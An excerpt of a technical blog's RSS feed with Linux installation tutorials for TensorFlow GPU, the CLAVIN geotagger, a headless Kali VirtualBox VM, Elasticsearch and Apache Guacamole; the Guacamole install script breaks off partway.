# If cuDNN is properly installed and running on your Linux system, you will see a message similar to the following:
$ Test passed!
</code></pre><p>Maintenons les paquets afin qu’ils ne soient pas updatés ou effacés:</p>
<pre tabindex="0"><code>sudo apt-mark hold libcudnn7 libcudnn7-dev libcudnn7-doc
</code></pre><br/>
<p><strong>Installer Bazel</strong></p>
<pre tabindex="0"><code>wget https://github.com/bazelbuild/bazel/releases/download/0.17.2/bazel-0.17.2-installer-linux-x86_64.sh
chmod +x bazel-0.17.2-installer-linux-x86_64.sh
./bazel-0.17.2-installer-linux-x86_64.sh --user
</code></pre><p>Pour pouvoir utiliser Bazel, modifier votre .bashrc ou .zshrc et ajouter cette commande:</p>
<pre tabindex="0"><code>export PATH=&#34;$PATH:$HOME/bin&#34;
</code></pre><br/>
<p><strong>Builder/Installer/Tester Tensorflow GPU</strong></p>
<p>Rendez-vous ensuite sur un précédent article que j&rsquo;ai écrit sur le sujet. Suivez la section &ldquo;Installer TensorFlow&rdquo;. J&rsquo;ai suivi mon propre tutorial et cela a fonctionné ! <a href="https://leandeep.com/rendre-tensorflow-compatible-avec-plus-de-cartes-graphiques/#Installer-Tensorflow">https://leandeep.com/rendre-tensorflow-compatible-avec-plus-de-cartes-graphiques/#Installer-Tensorflow</a></p>
<p>Cela fonctionne avec Python 2.7 et Python 3&hellip;</p>
<pre tabindex="0"><code>python
Python 3.6.8 (default, Jan 14 2019, 11:02:34)
[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux
Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
&gt;&gt;&gt;
&gt;&gt;&gt; import tensorflow as tf
&gt;&gt;&gt; hello = tf.constant(&#39;Hello, TensorFlow!&#39;)
&gt;&gt;&gt; sess = tf.Session()

2019-07-19 11:08:55.100940: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: SSE4.1 SSE4.2 AVX AVX2 FMA
2019-07-19 11:08:55.170484: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:964] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2019-07-19 11:08:55.171894: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1411] Found device 0 with properties:
name: GeForce GTX 660 Ti major: 3 minor: 0 memoryClockRate(GHz): 0.98
pciBusID: 0000:06:00.0
totalMemory: 1.95GiB freeMemory: 1.75GiB
2019-07-19 11:08:55.171908: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1490] Adding visible gpu devices: 0
2019-07-19 11:08:55.467370: I tensorflow/core/common_runtime/gpu/gpu_device.cc:971] Device interconnect StreamExecutor with strength 1 edge matrix:
2019-07-19 11:08:55.467397: I tensorflow/core/common_runtime/gpu/gpu_device.cc:977]      0
2019-07-19 11:08:55.467409: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990] 0:   N
2019-07-19 11:08:55.467629: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1103] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 1523 MB memory) -&gt; physical GPU (device: 0, name: GeForce GTX 660 Ti, pci bus id: 0000:06:00.0, compute capability: 3.0)
</code></pre><blockquote>
<p>Jupyter Lab fix:
Après avoir installé Tensorflow j&rsquo;avais un message d&rsquo;erreur m&rsquo;indiquant que la librairie <code>libcublas</code> n&rsquo;existait pas (<code>No such file or directory</code>) alors que les variables d&rsquo;environnement <code>LD_LIBRARY_PATH=/usr/local/cuda-9.0/lib64</code> et <code>PATH=$PATH:/usr/local/cuda-9.0/bin</code> étaient bien configurées. Cette erreur n&rsquo;apparaissait que dans Jupyter Lab. Partout ailleurs Tensorflow fonctionnait. J&rsquo;ai donc modifié la configuration de Jupyter Lab et ajouté l&rsquo;import manuellement. En haut du fichier <code>~/.jupyter/jupyter_notebook_config.py</code> j&rsquo;ai ajouté le code suivant:</p></blockquote>
<pre tabindex="0"><code>import os
c = get_config()
os.environ[&#39;LD_LIBRARY_PATH&#39;] = &#39;/usr/local/cuda-9.0/lib64:usr/local/cuda-9.0/lib64/libcudart.so.9.0&#39;
c.Spawner.env.update(&#39;LD_LIBRARY_PATH&#39;)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Extract &amp; resolve geographic entities from unstructured text</title>
            <link>https://leandeep.com/extract-resolve-geographic-entities-from-unstructured-text/</link>
            <pubDate>Fri, 12 Jul 2019 12:07:00 +0000</pubDate>
            
            <guid>https://leandeep.com/extract-resolve-geographic-entities-from-unstructured-text/</guid>
            <description>&lt;p&gt;In this article we are going to see how to install a great opensource tool called &lt;code&gt;CLAVIN&lt;/code&gt; (Cartographic Location And Vicinity INdexer) that can extract and parse geographic entities from an unstructured text.
The installation will be done on Ubuntu 18.04.&lt;/p&gt;
&lt;p&gt;Here is an example of what you can do: &lt;a href=&#34;http://clavin.berico.us/clavin-web/&#34;&gt;http://clavin.berico.us/clavin-web/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here is the description of the tool coming from the official website:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;CLAVIN does not simply “look up” location names – it uses intelligent heuristics to identify exactly which “Springfield” (for example) was intended by the author, based on the context of the document. CLAVIN also employs fuzzy search to handle incorrectly-spelled location names, and it recognizes alternative names (e.g., “Ivory Coast” and “Côte d’Ivoire”) as referring to the same geographic entity.&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to install a great opensource tool called <code>CLAVIN</code> (Cartographic Location And Vicinity INdexer) that can extract and parse geographic entities from an unstructured text.
The installation will be done on Ubuntu 18.04.</p>
<p>Here is an example of what you can do: <a href="http://clavin.berico.us/clavin-web/">http://clavin.berico.us/clavin-web/</a></p>
<p>Here is the description of the tool coming from the official website:</p>
<p><em>CLAVIN does not simply “look up” location names – it uses intelligent heuristics to identify exactly which “Springfield” (for example) was intended by the author, based on the context of the document. CLAVIN also employs fuzzy search to handle incorrectly-spelled location names, and it recognizes alternative names (e.g., “Ivory Coast” and “Côte d’Ivoire”) as referring to the same geographic entity.</em></p>
<br/>
<h2 id="prerequisites">Prerequisites</h2>
<p><strong>Install Maven</strong></p>
<p>Update your system to the latest stable version:</p>
<pre tabindex="0"><code>sudo apt-get update -y
sudo apt-get upgrade -y
</code></pre><p>Install Java if necessary:</p>
<pre tabindex="0"><code>sudo apt-get install -y default-jdk
</code></pre><p>Verify it is correctly installed with:</p>
<pre tabindex="0"><code>java -version
</code></pre><p>Install Maven:</p>
<pre tabindex="0"><code>cd /opt/
sudo wget https://www-us.apache.org/dist/maven/maven-3/3.6.0/binaries/apache-maven-3.6.0-bin.tar.gz
sudo tar -xvzf apache-maven-3.6.0-bin.tar.gz
sudo mv apache-maven-3.6.0 maven 
</code></pre><p>Set environment variables by adding the following lines in the <code>/etc/profile.d/mavenenv.sh</code> file:</p>
<pre tabindex="0"><code>export JAVA_HOME=/usr/lib/jvm/default-java
export M2_HOME=/opt/maven
export PATH=${M2_HOME}/bin:${PATH}
</code></pre><p>Give the execution rights on the environment variable file:</p>
<pre tabindex="0"><code>sudo chmod +x /etc/profile.d/mavenenv.sh
</code></pre><p>Load the env file:</p>
<pre tabindex="0"><code>source /etc/profile.d/mavenenv.sh
</code></pre><p>Add this command at the end of your <code>~/.zshrc</code> file:</p>
<pre tabindex="0"><code>source /etc/profile.d/mavenenv.sh
</code></pre><p>Verify it works with:</p>
<pre tabindex="0"><code>mvn --version
</code></pre><br/>
<h2 id="install-clavin-api">Install CLAVIN API</h2>
<p>Clone the CLAVIN REST API repo:</p>
<pre tabindex="0"><code>git clone https://github.com/Berico-Technologies/CLAVIN-rest
cd CLAVIN-rest 
</code></pre><p>Edit the <code>pom.xml</code> file and add the following lines inside the <code>&lt;properties&gt;</code> tag.</p>
<!-- raw HTML omitted -->
<!-- raw HTML omitted -->
<p>Build the jar executable:</p>
<pre tabindex="0"><code>mvn clean install

or $ mvn package
</code></pre><p>Download Geonames:</p>
<pre tabindex="0"><code>curl -O http://download.geonames.org/export/dump/allCountries.zip
unzip allCountries.zip
</code></pre><p>Download CLAVIN yaml configuration file:</p>
<pre tabindex="0"><code>curl -O https://raw.githubusercontent.com/Berico-Technologies/CLAVIN-rest/master/clavin-rest.yml
</code></pre><p>Create a CLAVIN dictionary or index of geographical names (also called gazetteer):</p>
<pre tabindex="0"><code>java -Xmx4096m -jar ./target/clavin-rest-0.3.0-SNAPSHOT.jar index clavin-rest.yml
</code></pre><p>Run the REST server:</p>
<pre tabindex="0"><code>java -Xmx2048m -jar clavin-rest.jar server clavin-rest.yml 
</code></pre><p>The API will be available at: http://localhost:9090/api/v0/geotag</p>
]]></content>
        </item>
        
        <item>
            <title>Run Kali in headless mode via Virtualbox on Ubuntu 18.04</title>
            <link>https://leandeep.com/run-kali-in-headless-mode-via-virtualbox-on-ubuntu-18.04/</link>
            <pubDate>Sat, 06 Jul 2019 14:51:23 +0000</pubDate>
            
            <guid>https://leandeep.com/run-kali-in-headless-mode-via-virtualbox-on-ubuntu-18.04/</guid>
            <description>&lt;p&gt;I needed to create a Wifi hotspot.
Here are the necessary commands to install Kali on Virtualbox on Ubuntu 18.04.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;install-virtualbox&#34;&gt;Install Virtualbox&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt upgrade
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Import the Oracle public key to your system:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Add Oracle VirtualBox PPA. The command below will add an entry at the end of the file  &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I needed to create a Wifi hotspot.
Here are the necessary commands to install Kali on Virtualbox on Ubuntu 18.04.</p>
<br/>
<h2 id="install-virtualbox">Install Virtualbox</h2>
<pre tabindex="0"><code>sudo apt update
sudo apt upgrade
</code></pre><br/>
<p>Import the Oracle public key to your system:</p>
<pre tabindex="0"><code>wget -q https://www.virtualbox.org/download/oracle_vbox_2016.asc -O- | sudo apt-key add -
wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | sudo apt-key add -
</code></pre><br/>
<p>Add Oracle VirtualBox PPA. The command below will add an entry at the end of the file  <code>/etc/apt/sources.list</code>.</p>
<pre tabindex="0"><code>sudo add-apt-repository &#34;deb http://download.virtualbox.org/virtualbox/debian bionic contrib&#34;
</code></pre><br/>
<p>Install:</p>
<pre tabindex="0"><code>sudo apt update
sudo apt install virtualbox-6.0
</code></pre><br/>
<h2 id="install-network-tools">Install Network tools</h2>
<pre tabindex="0"><code>apt-get install inetutils-tools bridge-utils -y
</code></pre><br/>
<h2 id="create-vm-via-command-lines">Create VM via command lines</h2>
<pre tabindex="0"><code>vboxmanage createvm --name &#34;kalivm&#34; --ostype Ubuntu_64 --register
vboxmanage modifyvm &#34;kalivm&#34; --memory 4096 --acpi on --cpus 2
vboxmanage modifyvm &#34;kalivm&#34; --nic1 bridged --nictype1 82545EM --bridgeadapter1 eno1
vboxmanage storagectl &#34;kalivm&#34; --name &#34;IDE Controller&#34; --add ide --controller PIIX4
vboxmanage createhd --filename &#34;/home/olivier/VirtualBox VMs/kalivm/kalivm.vdi&#34; --size 20000
vboxmanage storageattach &#34;kalivm&#34; --storagectl &#34;IDE Controller&#34; --port 0 --device 0 --type hdd --medium &#34;/home/olivier/VirtualBox VMs/kalivm/kalivm.vdi&#34;
vboxmanage storageattach &#34;kalivm&#34; --storagectl &#34;IDE Controller&#34; --port 1 --device 0 --type dvddrive --medium /home/olivier/Downloads/kali-linux-2019.2-amd64.iso
vboxmanage startvm &#34;kalivm&#34; --type headless

# stop vm
vboxmanage controlvm &#34;kalivm&#34; poweroff
# delete vm
vboxmanage unregistervm &#34;kalivm&#34; --delete
</code></pre><br/>
<h2 id="enable-ssh-on-kali">Enable ssh on Kali</h2>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get install -y ssh

systemctl enable ssh
systemctl start ssh
</code></pre><br/>
<h2 id="change-password">Change password</h2>
<p>Kali use root/toor as default linux credentials. Do not forget to change them&hellip;</p>
<br/>
<h2 id="ssh-with-password">SSH with password</h2>
<p>If you want to SSH to your Kali VM with a password you need to edit the <code>/etc/ssh/sshd_config</code> file and change the line <code>PermitRootLogin prohibit-password</code> by this one <code>PermitRootLogin yes</code>. (Uncomment it also&hellip;)</p>
<p>Once it is done restart the ssh service <code>service ssh restart</code>.</p>
<br/>
<h2 id="install-extension-pack">Install extension pack</h2>
<p>To access USB devices from the Host inside the VM the extension pack is necessary.</p>
<pre tabindex="0"><code>vboxversion=$(wget -qO - https://download.virtualbox.org/virtualbox/LATEST.TXT)

wget &#34;https://download.virtualbox.org/virtualbox/${vboxversion}/Oracle_VM_VirtualBox_Extension_Pack-${vboxversion}.vbox-extpack&#34;

sudo vboxmanage extpack install --replace Oracle_VM_VirtualBox_Extension_Pack-${vboxversion}.vbox-extpack
</code></pre><p>Once it is installed it is important that your host user belongs to the <code>vboxusers</code> group. If it does not Virtualbox won&rsquo;t ba able to access the host USB.</p>
<p>To add your user in the <code>vboxusers</code> group just execute:</p>
<pre tabindex="0"><code>sudo usermod -a -G vboxusers your_user
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Install Elasticsearch on Ubuntu 18.04 </title>
            <link>https://leandeep.com/install-elasticsearch-on-ubuntu-18.04/</link>
            <pubDate>Sat, 06 Jul 2019 11:01:00 +0000</pubDate>
            
            <guid>https://leandeep.com/install-elasticsearch-on-ubuntu-18.04/</guid>
            <description>&lt;p&gt;In this article we are going to see how to install ElasticSearch as service on Ubuntu 18.04.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;p&gt;Verify Java is installed:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ java -version
openjdk version &amp;#34;11.0.3&amp;#34; 2019-04-16
OpenJDK Runtime Environment (build 11.0.3+7-Ubuntu-1ubuntu218.04.1)
OpenJDK 64-Bit Server VM (build 11.0.3+7-Ubuntu-1ubuntu218.04.1, mixed mode, sharing)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Also verify the environment variable &lt;code&gt;JAVA_HOME&lt;/code&gt; is set.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;echo $JAVA_HOME
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If the previous command return an empty string you need to set the environment variable in your &lt;code&gt;~/.zshrc&lt;/code&gt;. Add this line: &lt;code&gt;export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this article we are going to see how to install ElasticSearch as service on Ubuntu 18.04.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<p>Verify Java is installed:</p>
<pre tabindex="0"><code>$ java -version
openjdk version &#34;11.0.3&#34; 2019-04-16
OpenJDK Runtime Environment (build 11.0.3+7-Ubuntu-1ubuntu218.04.1)
OpenJDK 64-Bit Server VM (build 11.0.3+7-Ubuntu-1ubuntu218.04.1, mixed mode, sharing)
</code></pre><p>Also verify the environment variable <code>JAVA_HOME</code> is set.</p>
<pre tabindex="0"><code>echo $JAVA_HOME
</code></pre><p>If the previous command return an empty string you need to set the environment variable in your <code>~/.zshrc</code>. Add this line: <code>export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64</code>.</p>
<blockquote>
<p>Please note that it might not be this path <code>/usr/lib/jvm/java-11-openjdk-amd64</code> in your case. Just check what java path you have under <code>/usr/lib/jvm</code>.</p></blockquote>
<br/>
<h2 id="install-elasticsearch">Install Elasticsearch</h2>
<pre tabindex="0"><code>sudo apt-get install apt-transport-https
# Add gpg key
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -
# Add ES repo
add-apt-repository &#34;deb https://artifacts.elastic.co/packages/7.x/apt stable main&#34;
sudo apt-get update
# Install ES
sudo apt-get install elasticsearch
</code></pre><br/>
<h2 id="add-servicce">Add Servicce</h2>
<pre tabindex="0"><code>sudo systemctl enable elasticsearch.service
sudo systemctl start elasticsearch.service
# To debug
sudo systemctl status elasticsearch.service
# or 
journalctl -xe
</code></pre><br/>
<h2 id="verify-it-is-working">Verify it is working</h2>
<pre tabindex="0"><code>curl -X GET http://localhost:9200
</code></pre><blockquote>
<p>To customize ES settings you can edit the well documented configuration file located in this path <code>/etc/elasticsearch/elasticsearch.yml</code>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Install Apache Guacamole for SSH and VNC over HTML5</title>
            <link>https://leandeep.com/install-apache-guacamole-for-ssh-and-vnc-over-html5/</link>
            <pubDate>Fri, 05 Jul 2019 15:07:21 +0000</pubDate>
            
            <guid>https://leandeep.com/install-apache-guacamole-for-ssh-and-vnc-over-html5/</guid>
            <description>&lt;p&gt;I struggled a little bit with the installation on Apache Guacamole. I think this tutorial will help some people. I installed it on Ubuntu 18.04.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;install-vnc&#34;&gt;Install VNC&lt;/h2&gt;
&lt;p&gt;Install the following packages:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install -y ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal tightvncserver
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We are going to create a VNC startup script:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd
mkdir ~/.vnc
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Create a VNC startup script at this location &lt;code&gt;~/.vnc/xstartup&lt;/code&gt; and enter this content:&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Pour Ubuntu 18.04 &amp;ldquo;classique&amp;rdquo; avec le desktop environment Gnome&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I struggled a little bit with the installation on Apache Guacamole. I think this tutorial will help some people. I installed it on Ubuntu 18.04.</p>
<br/>
<h2 id="install-vnc">Install VNC</h2>
<p>Install the following packages:</p>
<pre tabindex="0"><code>sudo apt-get install -y ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal tightvncserver
</code></pre><p>We are going to create a VNC startup script:</p>
<pre tabindex="0"><code>cd
mkdir ~/.vnc
</code></pre><p>Create a VNC startup script at this location <code>~/.vnc/xstartup</code> and enter this content:</p>
<br/>
<p><strong>Option 1: Pour Ubuntu 18.04 &ldquo;classique&rdquo; avec le desktop environment Gnome</strong></p>
<pre tabindex="0"><code>#!/bin/sh

xrdb $HOME/.Xresources
xsetroot -solid grey
#x-terminal-emulator -geometry 80x24+10+10 -ls -title &#34;$VNCDESKTOP Desktop&#34; &amp;
#x-window-manager &amp;
# Fix to make GNOME work
export XKL_XMODMAP_DISABLE=1
/etc/X11/Xsession

unset SESSION_MANAGER
vncconfig -iconic &amp;
x-terminal-emulator -geometry 80x24+10+10 -ls -title &#34;$VNCDESKTOP Desktop&#34; &amp;
x-window-manager &amp;
gnome-panel &amp;
gnome-settings-daemon &amp;
nautilus &amp;
metacity &amp;
gnome-session-flashback &amp;
</code></pre><br/>
<p><strong>Option 2: Pour Ubuntu Mate</strong></p>
<pre tabindex="0"><code>#!/bin/sh
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] &amp;&amp; exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] &amp;&amp; xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &amp;
x-terminal-emulator -geometry 80x24+10+10 -ls -title &#34;$VNCDESKTOP Desktop&#34; &amp;
x-window-manager &amp;
mate-session &amp;
</code></pre><p>Donner les droits d&rsquo;exécution sur le fichier <code>~/.vnc/xstartup</code>:</p>
<pre tabindex="0"><code>sudo chmod +x ~/.vnc/xstartup
</code></pre><p>Reconfigure the session manager:</p>
<pre tabindex="0"><code>sudo update-alternatives --config x-session-manager
</code></pre><p>Select: <code>/usr/lib/gnome-flashback/gnome-flashback-metacity</code></p>
<blockquote>
<p>Fix rights issue:
<code>sudo chown -R olivier:olivier /home/olivier/.cache/dconf</code></p></blockquote>
<br/>
<h2 id="create-vnc-service">Create VNC service</h2>
<pre tabindex="0"><code>sudo vi /etc/systemd/system/vncserver@.service
</code></pre><p>Enter the following content. Replace <code>olivier</code> by your username.</p>
<pre tabindex="0"><code>[Unit]
Description=Start TightVNC server at startup
After=syslog.target network.target

[Service]
Type=forking
User=olivier
Group=olivier
WorkingDirectory=/home/olivier

PIDFile=/home/olivier/.vnc/%H:%i.pid
ExecStartPre=-/usr/bin/vncserver -kill :%i &gt; /dev/null 2&gt;&amp;1
ExecStart=/usr/bin/vncserver -depth 24 -geometry 1280x800 :%i
ExecStop=/usr/bin/vncserver -kill :%i

[Install]
WantedBy=multi-user.target
</code></pre><p>Configure vncserver. To do so execute <code>vncserver</code> and enter a vnc password. Do not create a readonly password. When you are done kill the running server.</p>
<pre tabindex="0"><code>vncserver -kill :1
</code></pre><p>Start the service:</p>
<pre tabindex="0"><code>sudo systemctl daemon-reload
sudo systemctl enable vncserver@1.service
sudo systemctl start vncserver@1
</code></pre><br/>
<h2 id="install-guacamole">Install Guacamole</h2>
<p>Create a install script and enter the following content:</p>
<pre tabindex="0"><code>#!/bin/bash

# Check if user is root or sudo
if ! [ $(id -u) = 0 ]; then echo &#34;Please run this script as sudo or root&#34;; exit 1 ; fi

# Version number of Guacamole to install
GUACVERSION=&#34;1.0.0&#34;

# Colors to use for output
YELLOW=&#39;\033[1;33m&#39;
BLUE=&#39;\033[0;34m&#39;
RED=&#39;\033[0;31m&#39;
GREEN=&#39;\033[0;32m&#39;
NC=&#39;\033[0m&#39; # No Color

# Log Location
LOG=&#34;/tmp/guacamole_${GUACVERSION}_build.log&#34;

# Get script arguments for non-interactive mode
while [ &#34;$1&#34; != &#34;&#34; ]; do
    case $1 in
        -m | --mysqlpwd )
            shift
            mysqlpwd=&#34;$1&#34;
            ;;
        -g | --guacpwd )
            shift
            guacpwd=&#34;$1&#34;
            ;;
        -u | --mysqluser )
            shift
            mysqluser=&#34;$1&#34;
            ;;
        -d | --database )
            shift
            DB=&#34;$1&#34;
            ;;
    esac
    shift
done

# Checking if mysql user given
if [ -z &#34;$mysqluser&#34; ]; then
    mysqluser=&#34;guacamole_user&#34;
fi

# Checking if database name given
if [ -z &#34;$DB&#34; ]; then
    DB=&#34;guacamole_db&#34;
fi

# Get MySQL root password and Guacamole User password
if [ -n &#34;$mysqlpwd&#34; ] &amp;&amp; [ -n &#34;$guacpwd&#34; ]; then
        mysqlrootpassword=$mysqlpwd
        guacdbuserpassword=$guacpwd
else
    echo
    while true
    do
        read -s -p &#34;Enter a MySQL ROOT Password: &#34; mysqlrootpassword
        echo
        read -s -p &#34;Confirm MySQL ROOT Password: &#34; password2
        echo
        [ &#34;$mysqlrootpassword&#34; = &#34;$password2&#34; ] &amp;&amp; break
        echo &#34;Passwords don&#39;t match. Please try again.&#34;
        echo
    done
    echo
    while true
    do
        read -s -p &#34;Enter a Guacamole User Database Password: &#34; guacdbuserpassword
        echo
        read -s -p &#34;Confirm Guacamole User Database Password: &#34; password2
        echo
        [ &#34;$guacdbuserpassword&#34; = &#34;$password2&#34; ] &amp;&amp; break
        echo &#34;Passwords don&#39;t match. Please try again.&#34;
        echo
    done
    echo
fi

debconf-set-selections &lt;&lt;&lt; &#34;mysql-server mysql-server/root_password password $mysqlrootpassword&#34;
debconf-set-selections &lt;&lt;&lt; &#34;mysql-server mysql-server/root_password_again password $mysqlrootpassword&#34;

# Ubuntu and Debian have different package names for libjpeg
# Ubuntu and Debian versions have differnet package names for libpng-dev
# Ubuntu 18.04 does not include universe repo by default
source /etc/os-release
if [[ &#34;${NAME}&#34; == &#34;Ubuntu&#34; ]]
then
    JPEGTURBO=&#34;libjpeg-turbo8-dev&#34;
    if [[ &#34;${VERSION_ID}&#34; == &#34;18.04&#34; ]]
    then
        sed -i &#39;s/bionic main$/bionic main universe/&#39; /etc/apt/sources.list
    fi
    if [[ &#34;${VERSION_ID}&#34; == &#34;16.04&#34; ]]
    then
        LIBPNG=&#34;libpng12-dev&#34;
    else
        LIBPNG=&#34;libpng-dev&#34;
    fi
elif [[ &#34;${NAME}&#34; == *&#34;Debian&#34;* ]]
then
    JPEGTURBO=&#34;libjpeg62-turbo-dev&#34;
    if [[ &#34;${PRETTY_NAME}&#34; == *&#34;stretch&#34;* ]]
    then
        LIBPNG=&#34;libpng-dev&#34;
    else
        LIBPNG=&#34;libpng12-dev&#34;
    fi
else
    echo &#34;Unsupported Distro - Ubuntu or Debian Only&#34;
    exit 1
fi

# Update apt so we can search apt-cache for newest tomcat version supported
apt-get -qq update

# Tomcat 8.0.x is End of Life, however Tomcat 7.x is not...
# If Tomcat 8.5.x or newer is available install it, otherwise install Tomcat 7
# I have not testing with Tomcat9...
if [[ $(apt-cache show tomcat8 | egrep &#34;Version: 8.[5-9]&#34; | wc -l) -gt 0 ]]
then
    TOMCAT=&#34;tomcat8&#34;
else
    TOMCAT=&#34;tomcat7&#34;
fi

if [ -z $(command -v mysql) ]
then
    MYSQL=&#34;mysql-server mysql-client mysql-common mysql-utilities&#34;
else
    MYSQL=&#34;&#34;
fi

# Uncomment to manually force a tomcat version
#TOMCAT=&#34;&#34;

# Install features
echo -e &#34;${BLUE}Installing dependencies. This might take a few minutes...${NC}&#34;

export DEBIAN_FRONTEND=noninteractive

apt-get -y install build-essential libcairo2-dev ${JPEGTURBO} ${LIBPNG} libossp-uuid-dev libavcodec-dev libavutil-dev \
libswscale-dev libfreerdp-dev libpango1.0-dev libssh2-1-dev libtelnet-dev libvncserver-dev libpulse-dev libssl-dev \
libvorbis-dev libwebp-dev ${MYSQL} libmysql-java ${TOMCAT} freerdp-x11 \
ghostscript wget dpkg-dev &amp;&gt;&gt; ${LOG}

if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed. See ${LOG}${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

# Set SERVER to be the preferred download server from the Apache CDN
SERVER=&#34;http://apache.org/dyn/closer.cgi?action=download&amp;filename=guacamole/${GUACVERSION}&#34;
echo -e &#34;${BLUE}Downloading Files...${NC}&#34;

# Download Guacamole Server
wget -q --show-progress -O guacamole-server-${GUACVERSION}.tar.gz ${SERVER}/source/guacamole-server-${GUACVERSION}.tar.gz
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed to download guacamole-server-${GUACVERSION}.tar.gz&#34;
    echo -e &#34;${SERVER}/source/guacamole-server-${GUACVERSION}.tar.gz${NC}&#34;
    exit 1
fi
echo -e &#34;${GREEN}Downloaded guacamole-server-${GUACVERSION}.tar.gz${NC}&#34;

# Download Guacamole Client
wget -q --show-progress -O guacamole-${GUACVERSION}.war ${SERVER}/binary/guacamole-${GUACVERSION}.war
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed to download guacamole-${GUACVERSION}.war&#34;
    echo -e &#34;${SERVER}/binary/guacamole-${GUACVERSION}.war${NC}&#34;
    exit 1
fi
echo -e &#34;${GREEN}Downloaded guacamole-${GUACVERSION}.war${NC}&#34;

# Download Guacamole authentication extensions (Database)
wget -q --show-progress -O guacamole-auth-jdbc-${GUACVERSION}.tar.gz ${SERVER}/binary/guacamole-auth-jdbc-${GUACVERSION}.tar.gz
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed to download guacamole-auth-jdbc-${GUACVERSION}.tar.gz&#34;
    echo -e &#34;${SERVER}/binary/guacamole-auth-jdbc-${GUACVERSION}.tar.gz&#34;
    exit 1
fi
echo -e &#34;${GREEN}Downloaded guacamole-auth-jdbc-${GUACVERSION}.tar.gz${NC}&#34;

# Download Guacamole authentication extensions (TOTP)
wget -q --show-progress -O guacamole-auth-totp-${GUACVERSION}.tar.gz ${SERVER}/binary/guacamole-auth-totp-${GUACVERSION}.tar.gz
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed to download guacamole-auth-totp-${GUACVERSION}.tar.gz&#34;
    echo -e &#34;${SERVER}/binary/guacamole-auth-totp-${GUACVERSION}.tar.gz&#34;
    exit 1
fi
echo -e &#34;${GREEN}Downloaded guacamole-auth-totp-${GUACVERSION}.tar.gz${NC}&#34;

echo -e &#34;${GREEN}Downloading complete.${NC}&#34;

# Extract Guacamole files
tar -xzf guacamole-server-${GUACVERSION}.tar.gz
tar -xzf guacamole-auth-jdbc-${GUACVERSION}.tar.gz
tar -xzf guacamole-auth-totp-${GUACVERSION}.tar.gz

# Make directories
mkdir -p /etc/guacamole/lib
mkdir -p /etc/guacamole/extensions

# Install guacd
cd guacamole-server-${GUACVERSION}

echo -e &#34;${BLUE}Building Guacamole with GCC $(gcc --version | head -n1 | grep -oP &#39;\)\K.*&#39; | awk &#39;{print $1}&#39;) ${NC}&#34;

echo -e &#34;${BLUE}Configuring. This might take a minute...${NC}&#34;
./configure --with-init-dir=/etc/init.d  &amp;&gt;&gt; ${LOG}
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed. See ${LOG}${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

